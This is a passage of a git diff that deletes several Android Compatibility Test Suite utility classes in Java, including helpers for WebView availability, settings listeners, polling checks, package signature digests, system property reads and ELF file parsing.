-    private static boolean sWebViewUnavailable;
-
-    /**
-     * @param context Current Activity context, used to query the PackageManager.
-     * @param t       An exception thrown by trying to invoke android.webkit.* APIs.
-     */
-    public static void determineIfWebViewAvailable(Context context, Throwable t) {
-        sWebViewUnavailable = !hasWebViewFeature(context) && checkCauseWasUnsupportedOperation(t);
-    }
-
-    /**
-     * After calling determineIfWebViewAvailable, this returns whether a WebView is available on the
-     * device and wheter the test can rely on it.
-     * @return True iff. PackageManager determined that there is no WebView on the device and the
-     *         exception thrown from android.webkit.* was UnsupportedOperationException.
-     */
-    public static boolean isWebViewAvailable() {
-        return !sWebViewUnavailable;
-    }
-
-    private static boolean hasWebViewFeature(Context context) {
-        // Query the system property that determins if there is a functional WebView on the device.
-        PackageManager pm = context.getPackageManager();
-        return pm.hasSystemFeature(PackageManager.FEATURE_WEBVIEW);
-    }
-
-    private static boolean checkCauseWasUnsupportedOperation(Throwable t) {
-        if (t == null) return false;
-        while (t.getCause() != null) {
-            t = t.getCause();
-        }
-        return t instanceof UnsupportedOperationException;
-    }
-
-    /**
-     * Some CTS tests (by design) first use android.webkit.* from a background thread. This helper
-     * allows the test to catch the UnsupportedOperationException from that background thread, and
-     * then query the result from the test main thread.
-     */
-    public static class NullWebViewFromThreadExceptionHandler
-            implements Thread.UncaughtExceptionHandler {
-        private Throwable mPendingException;
-
-        @Override
-        public void uncaughtException(Thread t, Throwable e) {
-            mPendingException = e;
-        }
-
-        public boolean isWebViewAvailable(Context context) {
-            return hasWebViewFeature(context) ||
-                    !checkCauseWasUnsupportedOperation(mPendingException);
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/OnFailureRule.java b/common/device-side/util/src/com/android/compatibility/common/util/OnFailureRule.java
deleted file mode 100644
index 585c145..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/OnFailureRule.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that provides a callback upon test failures.
- */
-public abstract class OnFailureRule implements TestRule {
-    private String mLogTag = "OnFailureRule";
-
-    public OnFailureRule() {
-    }
-
-    public OnFailureRule(String logTag) {
-        mLogTag = logTag;
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                try {
-                    base.evaluate();
-                } catch (Throwable t) {
-                    Log.e(mLogTag, "Test failed: description=" +  description + "\nThrowable=" + t);
-                    onTestFailure(base, description, t);
-                    throw t;
-                }
-            }
-        };
-    }
-
-    protected abstract void onTestFailure(Statement base, Description description, Throwable t);
-}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java b/common/device-side/util/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java
deleted file mode 100644
index e5be3f41..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/OneTimeDeviceConfigListener.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.SystemClock;
-import android.provider.DeviceConfig;
-import android.provider.DeviceConfig.OnPropertiesChangedListener;
-import android.provider.DeviceConfig.Properties;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import com.google.common.base.Preconditions;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper used to block tests until a device config value has been updated.
- */
-public final class OneTimeDeviceConfigListener implements OnPropertiesChangedListener {
-
-    public static final long DEFAULT_TIMEOUT_MS = 5_000;
-
-    private static final String TAG = OneTimeDeviceConfigListener.class.getSimpleName();
-
-    private final String mNamespace;
-    private final String mKey;
-    private final long mTimeoutMs;
-    private final long mStarted = SystemClock.elapsedRealtime();
-
-    private final CountDownLatch mLatch = new CountDownLatch(1);
-
-    public OneTimeDeviceConfigListener(@NonNull String namespace, @NonNull String key) {
-        this(namespace, key, DEFAULT_TIMEOUT_MS);
-    }
-
-    public OneTimeDeviceConfigListener(@NonNull String namespace, @NonNull String key,
-            long timeoutMs) {
-        mNamespace = Preconditions.checkNotNull(namespace);
-        mKey = Preconditions.checkNotNull(key);
-        mTimeoutMs = timeoutMs;
-    }
-
-    @Override
-    public void onPropertiesChanged(@NonNull Properties properties) {
-        if (!properties.getNamespace().equals(mNamespace)
-                || !properties.getKeyset().contains(mKey)) {
-            Log.d(TAG, "ignoring callback for namespace: " + properties.getNamespace());
-            return;
-        }
-        mLatch.countDown();
-        DeviceConfig.removeOnPropertiesChangedListener(this);
-    }
-
-    /**
-     * Blocks for a few seconds until it's called.
-     *
-     * @throws IllegalStateException if it's not called.
-     */
-    public void assertCalled() {
-        try {
-            final boolean updated = mLatch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
-            if (!updated) {
-                throw new RetryableException(
-                        "Settings " + mKey + " not called in " + mTimeoutMs + "ms");
-            }
-            final long delta = SystemClock.elapsedRealtime() - mStarted;
-            Log.v(TAG, TestNameUtils.getCurrentTestName() + "/" + mKey + ": " + delta + "ms");
-        } catch (InterruptedException e) {
-            Thread.currentThread().interrupt();
-            throw new IllegalStateException("Interrupted", e);
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/OneTimeSettingsListener.java b/common/device-side/util/src/com/android/compatibility/common/util/OneTimeSettingsListener.java
deleted file mode 100644
index 79c80c9..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/OneTimeSettingsListener.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.SettingsUtils.NAMESPACE_GLOBAL;
-import static com.android.compatibility.common.util.SettingsUtils.NAMESPACE_SECURE;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.database.ContentObserver;
-import android.net.Uri;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.SystemClock;
-import android.provider.Settings;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper used to block tests until a secure settings value has been updated.
- */
-public final class OneTimeSettingsListener extends ContentObserver {
-
-    private static final String TAG = "OneTimeSettingsListener";
-    public static final long DEFAULT_TIMEOUT_MS = 30_000;
-
-    private final CountDownLatch mLatch = new CountDownLatch(1);
-    private final ContentResolver mResolver;
-    private final String mKey;
-    private final long mStarted;
-
-    public OneTimeSettingsListener(Context context, String namespace, String key) {
-        super(new Handler(Looper.getMainLooper()));
-        mStarted = SystemClock.elapsedRealtime();
-        mKey = key;
-        mResolver = context.getContentResolver();
-        final Uri uri;
-        switch (namespace) {
-            case NAMESPACE_SECURE:
-                uri = Settings.Secure.getUriFor(key);
-                break;
-            case NAMESPACE_GLOBAL:
-                uri = Settings.Global.getUriFor(key);
-                break;
-            default:
-                throw new IllegalArgumentException("invalid namespace: " + namespace);
-        }
-        mResolver.registerContentObserver(uri, false, this);
-    }
-
-    @Override
-    public void onChange(boolean selfChange, Uri uri) {
-        mResolver.unregisterContentObserver(this);
-        mLatch.countDown();
-    }
-
-    /**
-     * Blocks for a few seconds until it's called.
-     *
-     * @throws IllegalStateException if it's not called.
-     */
-    public void assertCalled() {
-        try {
-            final boolean updated = mLatch.await(DEFAULT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-            if (!updated) {
-                throw new RetryableException(
-                        "Settings " + mKey + " not called in " + DEFAULT_TIMEOUT_MS + "ms");
-            }
-            final long delta = SystemClock.elapsedRealtime() - mStarted;
-            // TODO: usually it's notified in ~50-150ms, but for some reason it takes ~10s
-            // on some ViewAttributesTest methods, hence the 30s limit
-            Log.v(TAG, TestNameUtils.getCurrentTestName() + "/" + mKey + ": " + delta + "ms");
-        } catch (InterruptedException e) {
-            Thread.currentThread().interrupt();
-            throw new IllegalStateException("Interrupted", e);
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
deleted file mode 100644
index e7b6976..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.os.Build;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
-
-/**
- * Device-side utility class for PackageManager-related operations
- */
-public class PackageUtil {
-
-    private static final String TAG = PackageUtil.class.getSimpleName();
-
-    private static final int SYSTEM_APP_MASK =
-            ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP;
-    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
-
-    /** Returns true if a package with the given name exists on the device */
-    public static boolean exists(String packageName) {
-        try {
-            return (getPackageManager().getApplicationInfo(packageName,
-                    PackageManager.GET_META_DATA) != null);
-        } catch(PackageManager.NameNotFoundException e) {
-            return false;
-        }
-    }
-
-    /** Returns true if a package with the given name AND SHA digest exists on the device */
-    public static boolean exists(String packageName, String sha) {
-        try {
-            if (getPackageManager().getApplicationInfo(
-                    packageName, PackageManager.GET_META_DATA) == null) {
-                return false;
-            }
-            return sha.equals(computePackageSignatureDigest(packageName));
-        } catch (NoSuchAlgorithmException | PackageManager.NameNotFoundException e) {
-            return false;
-        }
-    }
-
-    /** Returns true if the app for the given package name is a system app for this device */
-    public static boolean isSystemApp(String packageName) {
-        try {
-            ApplicationInfo ai = getPackageManager().getApplicationInfo(packageName,
-                    PackageManager.GET_META_DATA);
-            return ai != null && ((ai.flags & SYSTEM_APP_MASK) != 0);
-        } catch(PackageManager.NameNotFoundException e) {
-            return false;
-        }
-    }
-
-    /** Returns the version string of the package name, or null if the package can't be found */
-    public static String getVersionString(String packageName) {
-        try {
-            PackageInfo info = getPackageManager().getPackageInfo(packageName,
-                    PackageManager.GET_META_DATA);
-            return info.versionName;
-        } catch (PackageManager.NameNotFoundException | NullPointerException e) {
-            Log.w(TAG, "Could not find version string for package " + packageName);
-            return null;
-        }
-    }
-
-    /**
-     * Compute the signature SHA digest for a package.
-     * @param package the name of the package for which the signature SHA digest is requested
-     * @return the signature SHA digest
-     */
-    public static String computePackageSignatureDigest(String packageName)
-            throws NoSuchAlgorithmException, PackageManager.NameNotFoundException {
-        PackageInfo packageInfo = getPackageManager()
-                .getPackageInfo(packageName, PackageManager.GET_SIGNATURES);
-        MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
-        messageDigest.update(packageInfo.signatures[0].toByteArray());
-
-        final byte[] digest = messageDigest.digest();
-        final int digestLength = digest.length;
-        final int charCount = 3 * digestLength - 1;
-
-        final char[] chars = new char[charCount];
-        for (int i = 0; i < digestLength; i++) {
-            final int byteHex = digest[i] & 0xFF;
-            chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
-            chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
-            if (i < digestLength - 1) {
-                chars[i * 3 + 2] = ':';
-            }
-        }
-        return new String(chars);
-    }
-
-    private static PackageManager getPackageManager() {
-        return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
-    }
-
-    private static boolean hasDeviceFeature(final String requiredFeature) {
-        return InstrumentationRegistry.getContext()
-                .getPackageManager()
-                .hasSystemFeature(requiredFeature);
-    }
-
-    /**
-     * Rotation support is indicated by explicitly having both landscape and portrait
-     * features or not listing either at all.
-     */
-    public static boolean supportsRotation() {
-        final boolean supportsLandscape = hasDeviceFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE);
-        final boolean supportsPortrait = hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
-        return (supportsLandscape && supportsPortrait)
-                || (!supportsLandscape && !supportsPortrait);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ParcelUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ParcelUtils.java
deleted file mode 100644
index ecaa722..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ParcelUtils.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.assertNotNull;
-
-import android.os.Parcel;
-import android.os.Parcelable;
-
-public class ParcelUtils {
-    private ParcelUtils() {
-    }
-
-    /** Convert a Parcelable into a byte[]. */
-    public static byte[] toBytes(Parcelable p) {
-        assertNotNull(p);
-
-        final Parcel parcel = Parcel.obtain();
-        parcel.writeParcelable(p, 0);
-        byte[] data = parcel.marshall();
-        parcel.recycle();
-
-        return data;
-    }
-
-    /** Decode a byte[] into a Parcelable. */
-    public static <T extends Parcelable> T fromBytes(byte[] data) {
-        assertNotNull(data);
-
-        final Parcel parcel = Parcel.obtain();
-        parcel.unmarshall(data, 0, data.length);
-        parcel.setDataPosition(0);
-        T ret = parcel.readParcelable(ParcelUtils.class.getClassLoader());
-        parcel.recycle();
-
-        return ret;
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PollingCheck.java b/common/device-side/util/src/com/android/compatibility/common/util/PollingCheck.java
deleted file mode 100644
index bcc3530..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/PollingCheck.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import java.util.concurrent.Callable;
-
-import junit.framework.Assert;
-
-public abstract class PollingCheck {
-    private static final long TIME_SLICE = 50;
-    private long mTimeout = 3000;
-
-    public static interface PollingCheckCondition {
-        boolean canProceed();
-    }
-
-    public PollingCheck() {
-    }
-
-    public PollingCheck(long timeout) {
-        mTimeout = timeout;
-    }
-
-    protected abstract boolean check();
-
-    public void run() {
-        if (check()) {
-            return;
-        }
-
-        long timeout = mTimeout;
-        while (timeout > 0) {
-            try {
-                Thread.sleep(TIME_SLICE);
-            } catch (InterruptedException e) {
-                Assert.fail("unexpected InterruptedException");
-            }
-
-            if (check()) {
-                return;
-            }
-
-            timeout -= TIME_SLICE;
-        }
-
-        Assert.fail("unexpected timeout");
-    }
-
-    public static void check(CharSequence message, long timeout, Callable<Boolean> condition)
-            throws Exception {
-        while (timeout > 0) {
-            if (condition.call()) {
-                return;
-            }
-
-            Thread.sleep(TIME_SLICE);
-            timeout -= TIME_SLICE;
-        }
-
-        Assert.fail(message.toString());
-    }
-
-    public static void waitFor(final PollingCheckCondition condition) {
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return condition.canProceed();
-            }
-        }.run();
-    }
-
-    public static void waitFor(long timeout, final PollingCheckCondition condition) {
-        new PollingCheck(timeout) {
-            @Override
-            protected boolean check() {
-                return condition.canProceed();
-            }
-        }.run();
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
deleted file mode 100644
index c95b8df..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.os.Build;
-import android.support.test.InstrumentationRegistry;
-
-import java.io.IOException;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Scanner;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Device-side utility class for reading properties and gathering information for testing
- * Android device compatibility.
- */
-public class PropertyUtil {
-
-    /**
-     * Name of read-only property detailing the first API level for which the product was
-     * shipped. Property should be undefined for factory ROM products.
-     */
-    public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
-    private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
-    private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
-    private static final String TAG_DEV_KEYS = "dev-keys";
-    private static final String VNDK_VERSION = "ro.vndk.version";
-
-    public static final String GOOGLE_SETTINGS_QUERY =
-            "content query --uri content://com.google.settings/partner";
-
-    /** Value to be returned by getPropertyInt() if property is not found */
-    public static int INT_VALUE_IF_UNSET = -1;
-
-    /** Returns whether the device build is a user build */
-    public static boolean isUserBuild() {
-        return propertyEquals(BUILD_TYPE_PROPERTY, "user");
-    }
-
-    /** Returns whether this build is built with dev-keys */
-    public static boolean isDevKeysBuild() {
-        for (String tag : Build.TAGS.split(",")) {
-            if (TAG_DEV_KEYS.equals(tag.trim())) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    /**
-     * Return the first API level for this product. If the read-only property is unset,
-     * this means the first API level is the current API level, and the current API level
-     * is returned.
-     */
-    public static int getFirstApiLevel() {
-        int firstApiLevel = getPropertyInt(FIRST_API_LEVEL);
-        return (firstApiLevel == INT_VALUE_IF_UNSET) ? Build.VERSION.SDK_INT : firstApiLevel;
-    }
-
-    /**
-     * Return whether the SDK version of the vendor partiton is newer than the given API level.
-     * If the property is set to non-integer value, this means the vendor partition is using
-     * current API level and true is returned.
-     */
-    public static boolean isVendorApiLevelNewerThan(int apiLevel) {
-        int vendorApiLevel = getPropertyInt(VNDK_VERSION);
-        if (vendorApiLevel == INT_VALUE_IF_UNSET) {
-            return true;
-        }
-        return vendorApiLevel > apiLevel;
-    }
-
-    /**
-     * Return the manufacturer of this product. If unset, return null.
-     */
-    public static String getManufacturer() {
-        return getProperty(MANUFACTURER_PROPERTY);
-    }
-
-    /** Returns a mapping from client ID names to client ID values */
-    public static Map<String, String> getClientIds() throws IOException {
-        Map<String,String> clientIds = new HashMap<>();
-        String queryOutput = SystemUtil.runShellCommand(
-                InstrumentationRegistry.getInstrumentation(), GOOGLE_SETTINGS_QUERY);
-        for (String line : queryOutput.split("[\\r?\\n]+")) {
-            // Expected line format: "Row: 1 _id=123, name=<property_name>, value=<property_value>"
-            Pattern pattern = Pattern.compile("name=([a-z_]*), value=(.*)$");
-            Matcher matcher = pattern.matcher(line);
-            if (matcher.find()) {
-                String name = matcher.group(1);
-                String value = matcher.group(2);
-                if (name.contains("client_id")) {
-                    clientIds.put(name, value); // only add name-value pair for client ids
-                }
-            }
-        }
-        return clientIds;
-    }
-
-    /** Returns whether the property exists on this device */
-    public static boolean propertyExists(String property) {
-        return getProperty(property) != null;
-    }
-
-    /** Returns whether the property value is equal to a given string */
-    public static boolean propertyEquals(String property, String value) {
-        if (value == null) {
-            return !propertyExists(property); // null value implies property does not exist
-        }
-        return value.equals(getProperty(property));
-    }
-
-    /**
-     * Returns whether the property value matches a given regular expression. The method uses
-     * String.matches(), requiring a complete match (i.e. expression matches entire value string)
-     */
-    public static boolean propertyMatches(String property, String regex) {
-        if (regex == null || regex.isEmpty()) {
-            // null or empty pattern implies property does not exist
-            return !propertyExists(property);
-        }
-        String value = getProperty(property);
-        return (value == null) ? false : value.matches(regex);
-    }
-
-    /**
-     * Retrieves the desired integer property, returning INT_VALUE_IF_UNSET if not found.
-     */
-    public static int getPropertyInt(String property) {
-        String value = getProperty(property);
-        if (value == null) {
-            return INT_VALUE_IF_UNSET;
-        }
-        try {
-            return Integer.parseInt(value);
-        } catch (NumberFormatException e) {
-            return INT_VALUE_IF_UNSET;
-        }
-    }
-
-    /** Retrieves the desired property value in string form */
-    public static String getProperty(String property) {
-        Scanner scanner = null;
-        try {
-            Process process = new ProcessBuilder("getprop", property).start();
-            scanner = new Scanner(process.getInputStream());
-            String value = scanner.nextLine().trim();
-            return (value.isEmpty()) ? null : value;
-        } catch (IOException e) {
-            return null;
-        } finally {
-            if (scanner != null) {
-                scanner.close();
-            }
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ReadElf.java b/common/device-side/util/src/com/android/compatibility/common/util/ReadElf.java
deleted file mode 100644
index feaa9cd..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ReadElf.java
+++ /dev/null
@@ -1,494 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * A poor man's implementation of the readelf command. This program is designed
- * to parse ELF (Executable and Linkable Format) files.
- */
-public class ReadElf implements AutoCloseable {
-    /** The magic values for the ELF identification. */
-    private static final byte[] ELFMAG = {
-            (byte) 0x7F, (byte) 'E', (byte) 'L', (byte) 'F', };
-
-    private static final int EI_NIDENT = 16;
-
-    private static final int EI_CLASS = 4;
-    private static final int EI_DATA = 5;
-
-    private static final int EM_386 = 3;
-    private static final int EM_MIPS = 8;
-    private static final int EM_ARM = 40;
-    private static final int EM_X86_64 = 62;
-    // http://en.wikipedia.org/wiki/Qualcomm_Hexagon
-    private static final int EM_QDSP6 = 164;
-    private static final int EM_AARCH64 = 183;
-
-    private static final int ELFCLASS32 = 1;
-    private static final int ELFCLASS64 = 2;
-
-    private static final int ELFDATA2LSB = 1;
-    private static final int ELFDATA2MSB = 2;
-
-    private static final int EV_CURRENT = 1;
-
-    private static final long PT_LOAD = 1;
-
-    private static final int SHT_SYMTAB = 2;
-    private static final int SHT_STRTAB = 3;
-    private static final int SHT_DYNAMIC = 6;
-    private static final int SHT_DYNSYM = 11;
-
-    public static class Symbol {
-        public static final int STB_LOCAL = 0;
-        public static final int STB_GLOBAL = 1;
-        public static final int STB_WEAK = 2;
-        public static final int STB_LOPROC = 13;
-        public static final int STB_HIPROC = 15;
-
-        public static final int STT_NOTYPE = 0;
-        public static final int STT_OBJECT = 1;
-        public static final int STT_FUNC = 2;
-        public static final int STT_SECTION = 3;
-        public static final int STT_FILE = 4;
-        public static final int STT_COMMON = 5;
-        public static final int STT_TLS = 6;
-
-        public final String name;
-        public final int bind;
-        public final int type;
-
-        Symbol(String name, int st_info) {
-            this.name = name;
-            this.bind = (st_info >> 4) & 0x0F;
-            this.type = st_info & 0x0F;
-        }
-
-        @Override
-        public String toString() {
-            return "Symbol[" + name + "," + toBind() + "," + toType() + "]";
-        }
-
-        private String toBind() {
-            switch (bind) {
-                case STB_LOCAL:
-                    return "LOCAL";
-                case STB_GLOBAL:
-                    return "GLOBAL";
-                case STB_WEAK:
-                    return "WEAK";
-            }
-            return "STB_??? (" + bind + ")";
-        }
-
-        private String toType() {
-            switch (type) {
-                case STT_NOTYPE:
-                    return "NOTYPE";
-                case STT_OBJECT:
-                    return "OBJECT";
-                case STT_FUNC:
-                    return "FUNC";
-                case STT_SECTION:
-                    return "SECTION";
-                case STT_FILE:
-                    return "FILE";
-                case STT_COMMON:
-                    return "COMMON";
-                case STT_TLS:
-                    return "TLS";
-            }
-            return "STT_??? (" + type + ")";
-        }
-    }
-
-    private final String mPath;
-    private final RandomAccessFile mFile;
-    private final byte[] mBuffer = new byte[512];
-    private int mEndian;
-    private boolean mIsDynamic;
-    private boolean mIsPIE;
-    private int mType;
-    private int mAddrSize;
-
-    /** Symbol Table offset */
-    private long mSymTabOffset;
-
-    /** Symbol Table size */
-    private long mSymTabSize;
-
-    /** Dynamic Symbol Table offset */
-    private long mDynSymOffset;
-
-    /** Dynamic Symbol Table size */
-    private long mDynSymSize;
-
-    /** Section Header String Table offset */
-    private long mShStrTabOffset;
-
-    /** Section Header String Table size */
-    private long mShStrTabSize;
-
-    /** String Table offset */
-    private long mStrTabOffset;
-
-    /** String Table size */
-    private long mStrTabSize;
-
-    /** Dynamic String Table offset */
-    private long mDynStrOffset;
-
-    /** Dynamic String Table size */
-    private long mDynStrSize;
-
-    /** Symbol Table symbol names */
-    private Map<String, Symbol> mSymbols;
-
-    /** Dynamic Symbol Table symbol names */
-    private Map<String, Symbol> mDynamicSymbols;
-
-    public static ReadElf read(File file) throws IOException {
-        return new ReadElf(file);
-    }
-
-    public static void main(String[] args) throws IOException {
-        for (String arg : args) {
-            ReadElf re = new ReadElf(new File(arg));
-            re.getSymbol("x");
-            re.getDynamicSymbol("x");
-            re.close();
-        }
-    }
-
-    public boolean isDynamic() {
-        return mIsDynamic;
-    }
-
-    public int getType() {
-        return mType;
-    }
-
-    public boolean isPIE() {
-        return mIsPIE;
-    }
-
-    private ReadElf(File file) throws IOException {
-        mPath = file.getPath();
-        mFile = new RandomAccessFile(file, "r");
-
-        if (mFile.length() < EI_NIDENT) {
-            throw new IllegalArgumentException("Too small to be an ELF file: " + file);
-        }
-
-        readHeader();
-    }
-
-    @Override
-    public void close() {
-        try {
-            mFile.close();
-        } catch (IOException ignored) {
-        }
-    }
-
-    @Override
-    protected void finalize() throws Throwable {
-        try {
-            close();
-        } finally {
-            super.finalize();
-        }
-    }
-
-    private void readHeader() throws IOException {
-        mFile.seek(0);
-        mFile.readFully(mBuffer, 0, EI_NIDENT);
-
-        if (mBuffer[0] != ELFMAG[0] || mBuffer[1] != ELFMAG[1] ||
-                mBuffer[2] != ELFMAG[2] || mBuffer[3] != ELFMAG[3]) {
-            throw new IllegalArgumentException("Invalid ELF file: " + mPath);
-        }
-
-        int elfClass = mBuffer[EI_CLASS];
-        if (elfClass == ELFCLASS32) {
-            mAddrSize = 4;
-        } else if (elfClass == ELFCLASS64) {
-            mAddrSize = 8;
-        } else {
-            throw new IOException("Invalid ELF EI_CLASS: " + elfClass + ": " + mPath);
-        }
-
-        mEndian = mBuffer[EI_DATA];
-        if (mEndian == ELFDATA2LSB) {
-        } else if (mEndian == ELFDATA2MSB) {
-            throw new IOException("Unsupported ELFDATA2MSB file: " + mPath);
-        } else {
-            throw new IOException("Invalid ELF EI_DATA: " + mEndian + ": " + mPath);
-        }
-
-        mType = readHalf();
-
-        int e_machine = readHalf();
-        if (e_machine != EM_386 && e_machine != EM_X86_64 &&
-                e_machine != EM_AARCH64 && e_machine != EM_ARM &&
-                e_machine != EM_MIPS &&
-                e_machine != EM_QDSP6) {
-            throw new IOException("Invalid ELF e_machine: " + e_machine + ": " + mPath);
-        }
-
-        // AbiTest relies on us rejecting any unsupported combinations.
-        if ((e_machine == EM_386 && elfClass != ELFCLASS32) ||
-                (e_machine == EM_X86_64 && elfClass != ELFCLASS64) ||
